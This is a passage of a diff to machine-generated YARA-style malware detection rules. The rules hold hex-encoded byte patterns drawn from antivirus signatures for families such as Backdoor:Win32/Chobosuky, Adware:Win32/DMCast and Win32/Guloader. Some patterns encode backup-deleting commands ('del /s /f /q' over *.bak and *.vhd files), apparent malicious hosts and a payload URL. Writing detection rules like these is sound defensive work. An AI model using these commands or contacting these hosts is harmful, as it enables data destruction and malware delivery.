0f 80 01 65 78 63 65 6c 64 6e 61 2e 6c 6f 61 64 65 72 02 00 0a 80 01 78 6c 61 75 74 6f 6f } //18467 - $a_02_1 = {00 13 80 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 49 64 02 00 0e 80 01 63 72 65 61 74 65 70 72 6f 63 65 73 73 77 02 00 08 80 01 72 65 67 73 76 72 33 32 00 00 78 9c 00 00 0c 00 0c 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 68 6f 62 6f 73 75 6b 79 2e 41 21 64 68 61 00 0a 00 2c 01 8b 54 } //25968 - $a_e2_2 = {00 00 00 c0 e1 04 8a 92 64 40 40 00 8a da c0 eb 02 80 e3 0f 0a d9 88 1c 2e 8a 0c 38 46 40 80 f9 3d 88 4c 24 14 01 00 09 01 49 41 4d 5f 4b 49 4e 47 00 01 00 11 01 69 6e 64 65 78 2e 68 74 6d 6c 2f 43 4f 4e 4e 25 73 01 00 06 01 49 6d 4b 69 6e 67 02 00 0d 01 63 79 62 65 72 2e 6d 79 66 77 2e 75 73 00 00 03 00 78 9c 00 00 0c 00 0c 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 4d } //6180 - $a_74_3 = {04 00 0c 01 64 6d 63 6c 69 65 6e 74 5f 6d 69 64 02 00 14 01 53 4f 46 54 57 41 52 45 5c 73 68 61 72 65 68 65 6c 70 65 72 02 00 0d 01 63 61 73 74 5c 64 6d 63 6c 69 65 6e 74 04 00 0c 01 64 6d 63 6c 69 65 6e 74 5f 73 69 64 05 00 13 01 2e 64 6d 63 61 73 74 2e 63 6f 6d 2f 73 63 72 69 70 74 2f 02 00 07 01 64 6d 75 70 54 6d 70 05 00 0f 01 44 4d 5f 53 } //24899 - $a_44_4 = {55 50 44 41 54 45 00 00 78 9c 00 00 0c 00 0c 00 0a 00 21 23 48 53 54 52 3a 42 61 63 6b 75 70 44 65 6c 2e 42 00 0a 00 0c 80 01 64 65 6c 20 2f 73 20 2f 66 20 2f 71 0a 00 09 80 01 64 65 6c 20 2f 66 20 2f 71 01 } //18499 - $a_01_5 = {3a 5c 2a 2e 76 68 64 01 00 07 80 01 3a 5c 2a 2e 62 61 63 01 00 07 80 01 3a 5c 2a 2e 62 61 6b 01 00 07 80 01 3a 5c 2a 2e 62 6b 66 01 00 09 80 01 3a 5c 2a 2e 77 62 63 61 74 01 00 07 80 01 3a 5c 2a 2e 73 65 74 01 00 07 80 01 3a 5c 2a 2e 77 69 6e 01 00 07 80 01 3a 5c 2a 2e 64 73 6b 00 00 78 9c 00 00 0f 00 0f 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 76 65 4d 61 } //1792 - $a_2e_6 = {45 44 56 21 4d 54 42 00 0a 00 1e 01 02 72 87 00 00 70 28 11 00 00 06 2b 0c 06 16 06 8e 69 28 19 00 00 0a 2b 03 0a 2b f1 06 2a 05 00 4a 01 6c 00 6f 00 6a 00 61 00 2e 00 65 00 75 00 6c 00 69 00 6c 00 6c 00 69 00 61 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 63 00 6f 00 6e 00 74 } //26994 + $a_02_1 = {00 13 80 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 49 64 02 00 0e 80 01 63 72 65 61 74 65 70 72 6f 63 65 73 73 77 02 00 08 80 01 72 65 67 73 76 72 33 32 00 00 78 9c 00 00 0b 00 0b 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 47 41 50 21 4d 54 42 00 05 00 35 03 11 05 11 0a 8f 90 01 } //25968 + $a_47_2 = {d2 61 d2 52 11 0a 20 90 01 03 00 5f 2d 0b 08 08 5a 20 90 01 03 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 05 8e 69 } //259 + $a_00_3 = {02 00 18 01 4a 4f 5a 49 4b 5f 45 42 41 54 5f 43 48 45 5f 45 54 4f 5f 54 41 4b 4f 45 02 00 0b 01 50 45 4e 49 53 5f 45 42 41 4e 59 02 00 0c 01 5f 46 41 43 4b 5f 4d 59 5f 41 53 53 00 00 78 9c 00 00 0c 00 0c 00 05 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 68 6f 62 6f 73 75 6b 79 2e 41 21 64 68 61 00 0a 00 2c 01 8b 54 24 18 81 e2 ff 00 00 00 c0 e1 04 8a 92 64 40 40 00 8a da c0 eb 02 80 e3 0f 0a d9 88 1c 2e } //-13006 + $a_46_4 = {80 f9 3d 88 4c 24 14 01 00 09 01 49 41 4d 5f 4b 49 4e 47 00 01 00 11 01 69 6e 64 65 78 2e 68 74 6d 6c 2f 43 4f 4e 4e 25 73 01 00 06 01 49 6d 4b 69 6e 67 02 00 0d 01 63 } //3210 + $a_72_5 = {6d 79 66 77 2e 75 73 00 00 03 00 78 9c 00 00 0c 00 0c 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 04 00 0c 01 64 6d 63 6c 69 65 6e 74 5f 6d 69 64 02 00 14 01 53 4f 46 54 57 41 52 45 5c 73 68 61 72 65 68 65 6c 70 65 72 02 00 0d 01 63 61 73 74 5c 64 6d 63 6c 69 65 6e 74 04 } //25209 + $a_64_6 = {63 } //3072 c condition: - ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*25968+(#a_e2_2 & 1)*6180+(#a_74_3 & 1)*24899+(#a_44_4 & 1)*18499+(#a_01_5 & 1)*1792+(#a_2e_6 & 1)*26994) >=10 + ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*25968+(#a_47_2 & 1)*259+(#a_00_3 & 1)*-13006+(#a_46_4 & 1)*3210+(#a_72_5 & 1)*25209+(#a_64_6 & 1)*3072) >=10 } -rule _InfrastructureShared_10781{ +rule _InfrastructureShared_11476{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 47 41 50 21 4d 54 42 00 05 00 35 03 11 05 11 0a 8f 90 01 03 01 25 47 08 d2 61 d2 52 11 0a 20 90 01 03 00 5f 2d 0b 08 08 5a 20 90 01 03 00 6a 5e 0c 11 0a } //21539 + $a_0a_1 = {11 0a 11 05 8e 69 32 cd 90 00 02 00 18 01 4a 4f 5a 49 4b } //22551 + $a_41_2 = {5f 43 48 45 5f 45 54 4f 5f 54 41 4b 4f 45 02 00 0b 01 50 45 4e 49 53 5f 45 42 41 4e 59 02 00 0c 01 5f 46 41 43 4b 5f 4d 59 5f 41 53 53 00 00 78 9c 00 00 0c 00 0c 00 05 00 21 23 41 4c 46 3a 42 61 63 } //17759 + $a_6f_3 = {3a 57 69 6e 33 32 2f 43 68 6f 62 6f 73 75 6b 79 2e 41 21 64 68 61 00 0a 00 2c 01 8b 54 24 18 81 e2 ff 00 00 00 c0 e1 04 8a 92 64 40 40 00 8a da c0 eb 02 80 e3 0f 0a d9 88 1c 2e 8a 0c 38 46 40 80 f9 3d 88 4c 24 14 01 00 09 01 49 41 4d 5f 4b 49 4e 47 00 01 00 11 01 69 6e 64 65 78 2e 68 74 6d 6c 2f 43 4f 4e 4e 25 73 01 00 06 01 49 6d } //25707 + condition: + ((#a_4c_0 & 1)*21539+(#a_0a_1 & 1)*22551+(#a_41_2 & 1)*17759+(#a_6f_3 & 1)*25707) >=11 + +} +rule _InfrastructureShared_11477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -117788,7 +125528,7 @@ rule _InfrastructureShared_10781{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9292+(#a_74_2 & 1)*11896+(#a_6c_3 & 1)*26725+(#a_54_4 & 1)*18467) >=12 } -rule _InfrastructureShared_10782{ +rule _InfrastructureShared_11478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -117804,7 +125544,7 @@ rule _InfrastructureShared_10782{ ((#a_77_0 & 1)*16675+(#a_6d_1 & 1)*25390+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=12 } -rule _InfrastructureShared_10783{ +rule _InfrastructureShared_11479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -117821,7 +125561,7 @@ rule _InfrastructureShared_10783{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*384+(#a_00_2 & 1)*0+(#a_53_3 & 1)*14958+(#a_00_5 & 1)*97+(#a_69_6 & 1)*20592+(#a_53_7 & 1)*14958+(#a_09_8 & 1)*10) >=12 } -rule _InfrastructureShared_10784{ +rule _InfrastructureShared_11480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -117832,7 +125572,7 @@ rule _InfrastructureShared_10784{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46) >=15 } -rule _InfrastructureShared_10785{ +rule _InfrastructureShared_11481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -117844,7 +125584,7 @@ rule _InfrastructureShared_10785{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20581+(#a_07_2 & 1)*12) >=15 } -rule _InfrastructureShared_10786{ +rule _InfrastructureShared_11482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -117855,7 +125595,7 @@ rule _InfrastructureShared_10786{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*10) >=16 } -rule _InfrastructureShared_10787{ +rule _InfrastructureShared_11483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -117869,7 +125609,7 @@ rule _InfrastructureShared_10787{ ((#a_46_0 & 1)*16675+(#a_16_1 & 1)*5639+(#a_00_2 & 1)*21581+(#a_73_3 & 1)*28793+(#a_9a_4 & 1)*4096) >=18 } -rule _InfrastructureShared_10788{ +rule _InfrastructureShared_11484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -117882,7 +125622,7 @@ rule _InfrastructureShared_10788{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*1793+(#a_61_2 & 1)*25633+(#a_ac_3 & 1)*10977) >=18 } -rule _InfrastructureShared_10789{ +rule _InfrastructureShared_11485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 06 00 21 " @@ -117896,7 +125636,7 @@ rule _InfrastructureShared_10789{ ((#a_46_0 & 1)*16675+(#a_f9_1 & 1)*9052+(#a_0f_2 & 1)*-21256+(#a_00_3 & 1)*67+(#a_00_5 & 1)*119) >=30 } -rule _InfrastructureShared_10790{ +rule _InfrastructureShared_11486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117906,7 +125646,7 @@ rule _InfrastructureShared_10790{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10791{ +rule _InfrastructureShared_11487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117916,7 +125656,7 @@ rule _InfrastructureShared_10791{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10792{ +rule _InfrastructureShared_11488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117926,7 +125666,7 @@ rule _InfrastructureShared_10792{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10793{ +rule _InfrastructureShared_11489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117936,7 +125676,7 @@ rule _InfrastructureShared_10793{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10794{ +rule _InfrastructureShared_11490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117946,7 +125686,7 @@ rule _InfrastructureShared_10794{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10795{ +rule _InfrastructureShared_11491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117956,7 +125696,7 @@ rule _InfrastructureShared_10795{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10796{ +rule _InfrastructureShared_11492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117966,7 +125706,7 @@ rule _InfrastructureShared_10796{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10797{ +rule _InfrastructureShared_11493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117976,7 +125716,7 @@ rule _InfrastructureShared_10797{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10798{ +rule _InfrastructureShared_11494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117986,7 +125726,7 @@ rule _InfrastructureShared_10798{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10799{ +rule _InfrastructureShared_11495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -117997,7 +125737,7 @@ rule _InfrastructureShared_10799{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*400) >=1 } -rule _InfrastructureShared_10800{ +rule _InfrastructureShared_11496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -118008,7 +125748,7 @@ rule _InfrastructureShared_10800{ ((#a_73_0 & 1)*16931+(#a_01_1 & 1)*-28672) >=1 } -rule _InfrastructureShared_10801{ +rule _InfrastructureShared_11497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -118019,7 +125759,7 @@ rule _InfrastructureShared_10801{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1) >=1 } -rule _InfrastructureShared_10802{ +rule _InfrastructureShared_11498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -118031,7 +125771,7 @@ rule _InfrastructureShared_10802{ ((#a_54_0 & 1)*18467+(#a_f4_1 & 1)*-29736+(#a_52_2 & 1)*21320) >=1 } -rule _InfrastructureShared_10803{ +rule _InfrastructureShared_11499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -118043,7 +125783,7 @@ rule _InfrastructureShared_10803{ ((#a_54_0 & 1)*18467+(#a_ac_1 & 1)*-23386+(#a_69_2 & 1)*28277) >=1 } -rule _InfrastructureShared_10804{ +rule _InfrastructureShared_11500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -118057,7 +125797,7 @@ rule _InfrastructureShared_10804{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28270+(#a_72_2 & 1)*25977+(#a_90_3 & 1)*30821+(#a_01_4 & 1)*10241) >=1 } -rule _InfrastructureShared_10805{ +rule _InfrastructureShared_11501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118068,7 +125808,7 @@ rule _InfrastructureShared_10805{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*19457) >=2 } -rule _InfrastructureShared_10806{ +rule _InfrastructureShared_11502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118079,7 +125819,7 @@ rule _InfrastructureShared_10806{ ((#a_46_0 & 1)*16675+(#a_8c_1 & 1)*2560) >=2 } -rule _InfrastructureShared_10807{ +rule _InfrastructureShared_11503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118089,7 +125829,7 @@ rule _InfrastructureShared_10807{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_10808{ +rule _InfrastructureShared_11504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118100,7 +125840,7 @@ rule _InfrastructureShared_10808{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*26691) >=2 } -rule _InfrastructureShared_10809{ +rule _InfrastructureShared_11505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118111,7 +125851,7 @@ rule _InfrastructureShared_10809{ ((#a_46_0 & 1)*16675+(#a_d0_1 & 1)*9464) >=2 } -rule _InfrastructureShared_10810{ +rule _InfrastructureShared_11506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118122,7 +125862,7 @@ rule _InfrastructureShared_10810{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*-7075) >=2 } -rule _InfrastructureShared_10811{ +rule _InfrastructureShared_11507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118133,7 +125873,7 @@ rule _InfrastructureShared_10811{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*24883) >=2 } -rule _InfrastructureShared_10812{ +rule _InfrastructureShared_11508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -118144,7 +125884,7 @@ rule _InfrastructureShared_10812{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*92) >=2 } -rule _InfrastructureShared_10813{ +rule _InfrastructureShared_11509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -118156,7 +125896,7 @@ rule _InfrastructureShared_10813{ ((#a_46_0 & 1)*16675+(#a_be_1 & 1)*26116+(#a_09_2 & 1)*-28533) >=2 } -rule _InfrastructureShared_10814{ +rule _InfrastructureShared_11510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -118168,7 +125908,7 @@ rule _InfrastructureShared_10814{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_85_2 & 1)*18431) >=2 } -rule _InfrastructureShared_10815{ +rule _InfrastructureShared_11511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -118181,7 +125921,7 @@ rule _InfrastructureShared_10815{ ((#a_77_0 & 1)*16675+(#a_eb_1 & 1)*297+(#a_65_2 & 1)*24947+(#a_6e_3 & 1)*17262) >=2 } -rule _InfrastructureShared_10816{ +rule _InfrastructureShared_11512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -118195,7 +125935,7 @@ rule _InfrastructureShared_10816{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*21353+(#a_74_2 & 1)*21315+(#a_44_3 & 1)*16707+(#a_44_4 & 1)*-32747) >=2 } -rule _InfrastructureShared_10817{ +rule _InfrastructureShared_11513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -118209,7 +125949,7 @@ rule _InfrastructureShared_10817{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*20280+(#a_00_2 & 1)*29810+(#a_74_3 & 1)*25121+(#a_6c_4 & 1)*26144) >=2 } -rule _InfrastructureShared_10818{ +rule _InfrastructureShared_11514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -118225,7 +125965,7 @@ rule _InfrastructureShared_10818{ ((#a_4c_0 & 1)*21539+(#a_80_1 & 1)*-100+(#a_80_2 & 1)*-100+(#a_80_3 & 1)*-100+(#a_80_4 & 1)*-100+(#a_01_5 & 1)*-100+(#a_9d_6 & 1)*0) >=2 } -rule _InfrastructureShared_10819{ +rule _InfrastructureShared_11515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -118237,7 +125977,7 @@ rule _InfrastructureShared_10819{ ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*-1789+(#a_01_2 & 1)*21643) >=3 } -rule _InfrastructureShared_10820{ +rule _InfrastructureShared_11516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -118249,7 +125989,7 @@ rule _InfrastructureShared_10820{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*27740+(#a_38_2 & 1)*14641) >=3 } -rule _InfrastructureShared_10821{ +rule _InfrastructureShared_11517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -118261,7 +126001,7 @@ rule _InfrastructureShared_10821{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*57+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_10822{ +rule _InfrastructureShared_11518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -118273,7 +126013,7 @@ rule _InfrastructureShared_10822{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29559+(#a_23_2 & 1)*4) >=3 } -rule _InfrastructureShared_10823{ +rule _InfrastructureShared_11519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -118286,7 +126026,7 @@ rule _InfrastructureShared_10823{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27503+(#a_73_2 & 1)*-32741+(#a_2e_3 & 1)*25972) >=3 } -rule _InfrastructureShared_10824{ +rule _InfrastructureShared_11520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -118300,7 +126040,7 @@ rule _InfrastructureShared_10824{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*-32747+(#a_6f_2 & 1)*29555+(#a_66_3 & 1)*28483+(#a_23_4 & 1)*3) >=3 } -rule _InfrastructureShared_10825{ +rule _InfrastructureShared_11521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -118314,7 +126054,7 @@ rule _InfrastructureShared_10825{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*25924+(#a_8a_2 & 1)*400+(#a_46_3 & 1)*-30191+(#a_30_4 & 1)*25601) >=3 } -rule _InfrastructureShared_10826{ +rule _InfrastructureShared_11522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -118326,7 +126066,7 @@ rule _InfrastructureShared_10826{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*21260+(#a_2f_2 & 1)*13166) >=4 } -rule _InfrastructureShared_10827{ +rule _InfrastructureShared_11523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -118337,7 +126077,7 @@ rule _InfrastructureShared_10827{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=4 } -rule _InfrastructureShared_10828{ +rule _InfrastructureShared_11524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -118349,7 +126089,7 @@ rule _InfrastructureShared_10828{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*24320+(#a_6f_2 & 1)*28784) >=4 } -rule _InfrastructureShared_10829{ +rule _InfrastructureShared_11525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118362,7 +126102,7 @@ rule _InfrastructureShared_10829{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_3a_2 & 1)*384+(#a_72_3 & 1)*14930) >=4 } -rule _InfrastructureShared_10830{ +rule _InfrastructureShared_11526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118374,7 +126114,7 @@ rule _InfrastructureShared_10830{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_74_3 & 1)*26625) >=4 } -rule _InfrastructureShared_10831{ +rule _InfrastructureShared_11527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -118382,25 +126122,38 @@ rule _InfrastructureShared_10831{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 35 34 21 4d 54 42 00 01 00 2a 81 01 68 74 74 70 73 3a 2f 2f 72 65 6d 69 73 61 74 2e 63 6f 6d 2e 75 79 2f 66 69 6c 65 2f 51 63 6d 6d 69 75 7a 69 6f 6d 2e 70 64 66 01 00 07 } //18467 $a_69_1 = {79 6b 70 6d 01 00 24 81 01 63 65 65 31 32 61 31 38 2d 32 32 36 64 2d 34 65 66 30 2d 39 66 37 63 2d 31 33 37 61 39 66 62 64 62 33 65 31 01 00 05 81 01 53 70 6c 69 74 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c } //385 $a_65_2 = {2e 47 4b 58 30 31 21 4d 54 42 00 01 00 22 81 01 62 61 67 67 72 75 6e 64 73 70 72 6f 63 65 73 73 65 6e 73 20 74 72 61 75 6d 61 74 6f 6c 6f 67 69 65 73 01 00 05 81 01 6e 65 67 6c 65 01 00 18 81 01 6c 69 67 65 73 61 61 76 65 6c 20 70 68 79 6c 6c 6f 73 74 61 63 68 79 73 01 00 22 81 01 70 75 6c 76 65 72 } //24943 - $a_73_3 = {68 65 6c 62 72 65 64 73 67 72 75 6e 64 65 73 20 64 69 73 63 6f 69 64 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 53 31 32 33 21 4d 54 42 00 01 00 28 81 01 69 6e 73 70 69 72 61 74 69 76 65 20 69 64 69 6f 70 61 74 68 69 65 73 20 74 75 62 65 72 63 75 6c 6f 74 68 65 72 61 70 79 01 00 17 } //28517 + $a_73_3 = {68 65 6c 62 72 65 64 73 67 72 75 6e 64 65 73 20 64 69 73 63 6f 69 64 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 48 30 31 21 4d 54 42 00 01 00 1d 81 01 62 65 6e 7a 69 6e 64 75 6e 6b 65 20 6e 65 6d 68 65 64 73 20 65 76 65 6e 62 6c 75 73 68 01 00 24 81 01 73 6b 69 66 74 65 64 61 67 65 6e } //28517 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_65_2 & 1)*24943+(#a_73_3 & 1)*28517) >=4 } -rule _InfrastructureShared_10832{ +rule _InfrastructureShared_11528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4b 58 30 31 21 4d 54 42 00 01 00 22 81 01 62 61 67 67 72 75 6e 64 73 70 72 6f 63 65 73 73 65 6e 73 20 74 72 61 75 6d 61 74 6f 6c 6f 67 69 65 73 01 00 05 81 01 6e 65 67 6c 65 01 00 18 81 01 6c 69 67 } //18467 - $a_61_1 = {65 6c 20 70 68 79 6c 6c 6f 73 74 61 63 68 79 73 01 00 22 81 01 70 75 6c 76 65 72 65 6f 75 73 20 68 65 6c 62 72 65 64 73 67 72 75 6e 64 65 73 20 64 69 73 63 6f 69 64 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 53 31 32 33 21 } //29541 - $a_00_2 = {01 00 28 81 01 69 6e 73 70 69 72 61 74 69 76 65 20 69 64 69 6f 70 61 74 68 69 65 73 20 74 75 62 65 72 63 75 6c 6f 74 68 65 72 61 70 79 01 00 17 81 01 66 72 65 65 64 6f 6d 73 20 73 6f 6c 69 74 72 72 } //21581 - $a_65_3 = {65 73 01 00 0a 81 01 75 6e 63 6c 65 6e 63 68 65 64 01 00 16 81 01 72 65 64 75 78 20 66 6f 75 6e 74 61 69 6e 20 64 69 61 6b 6f 6e 73 00 00 78 9d 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 4a 31 32 33 21 4d 54 42 00 01 00 17 81 01 73 69 63 63 61 6e 74 20 } //28265 